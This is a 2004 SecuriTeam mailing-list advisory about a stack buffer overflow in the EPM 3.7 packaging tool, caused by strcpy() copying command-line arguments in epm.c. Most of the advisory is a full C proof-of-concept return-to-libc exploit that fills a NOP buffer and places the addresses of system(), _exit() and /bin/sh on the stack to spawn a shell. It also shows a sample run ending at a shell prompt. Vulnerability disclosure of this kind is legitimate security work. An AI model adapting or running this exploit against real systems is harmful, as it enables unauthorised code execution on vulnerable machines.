[UNIX] EPM Buffer Overflow (retlibc exploit)

• Previous message: SecuriTeam: "[EXPL] ICECast Remote Code Execution"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

To: list@securiteam.com
Date: 4 Oct 2004 13:58:50 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

  EPM Buffer Overflow (retlibc exploit)
------------------------------------------------------------------------

SUMMARY

 <http://www.easysw.com/epm/> EPM is the software packaging tool that we
now use at Easy Software Products. It is a simple tool that generates
software and patch distributions in various formats.

A stack-based buffer overflow was found in the software packaging tool
that enables the execution of code with the privileges of the user running
the program.

DETAILS

Vulnerable Systems:
 * EPM version 3.7

Due to an unsafe copying of parameters from the command line using
strcpy() in epm.c, the stack can be smashed and the return address
overwritten. A small excerpt from the code is presented:
--- epm.c ---
350: else if (strchr(argv[i], '=') != NULL)
351: putenv(argv[i]);
352: else if (prodname[0] == '\0')
353: strcpy(prodname, argv[i]);
354: else if (listname[0] == '\0')
355: strcpy(listname, argv[i]);
--- epm.c ---

Running the exploit would yield:
[!] Usage: ./flow-epm <path> <offset>

flowsecurity $ ./flow-epm ./epm 15
[*] Program name : [./epm]
[*] Offset : [15]
[*] system() address : [0x4006d4b0]
[*] _exit() address : [0x400d8088]
[*] /bin/sh address : [0x40151439]

[!]: Bad address
sh-2.05b$

Exploit
/*
 * _____ _
 * | ___| | _____ ___
 * | |_ | |/ _ \ \ /\ / /
 * | _| | | (_) \ V V /
 * |_| |_|\___/ \_/\_/
 * Security Group.
 *
 * Description: flow-epm.c (www.flowsecurity.org)
 *
 * Proof of Concept local RetLibc exploit for EPM - 3.7(not suid
by default).
 *
 * It has been successfull tested on:
 *
 * Suse Linux 9.0
 * Greets:
 *
 * Luiz Fernando Camargo
 * Jefferson Cechinel
 * Gerrit
 * fAil
 * newbug
 *
 * Date: 29'Sep 2004
 *
 *
 * Author:
 * Thyago Silva - setnf@flowsecurity.org
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <dlfcn.h>

#define PNAME "./epm" // program name
#define NOP 0x90 // No Operation

/* You need change the addr's */
#define SYSTEM 0x4006d4b0 // system() address in libc
#define EXIT 0x400d8088 // _exit() address in libc
#define SHELL 0x40151439 // /bin/sh address in libc

int main(int argc, char *argv[])
{
  if(argc < 3 || argc > 3) {
  fprintf(stderr, "############## Flow Security ##############\n");
  fprintf(stderr, "# RetLibc Exploit for EPM - 3.7 #\n");
  fprintf(stderr, "# setnf@flowsecurity.org #\n");
  fprintf(stderr, "###########################################\n\n");
  fprintf(stderr, "[!] Usage: %s <path> <offset>\n\n", argv[0]);
  exit(0); }

  int TBUFF = ((256 + 4) + (4 * 3) + 1); /* total buffer */
  int NBUFF = ((256 / 4) + atoi(argv[2])); /* NOP buffer with offset */

  fprintf(stderr, "[*] Program name : [%s]\n", argv[1]);
  fprintf(stderr, "[*] Offset : [%d]\n", atoi(argv[2]));

  char buf[TBUFF];

  int *p = (int *)buf;

  fprintf(stderr, "[*] system() address : [%p]\n", SYSTEM);
  fprintf(stderr, "[*] _exit() address : [%p]\n", EXIT);
  fprintf(stderr, "[*] /bin/sh address : [%p]\n", SHELL);

  /* fill the first part of the buffer */

  memset(buf, NOP, TBUFF);
  p += NBUFF;

  /* prepare the stack */

  *p++ = SYSTEM;
  *p++ = EXIT;
  *p++ = SHELL;
  *p = 0x0;

  /* run the vulnerable program */

  execl(argv[1], argv[1] + 2, buf, NULL);
  perror("\n[!]");
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:setnf@flowsecurity.org>
setnf.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

• Previous message: SecuriTeam: "[EXPL] ICECast Remote Code Execution"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]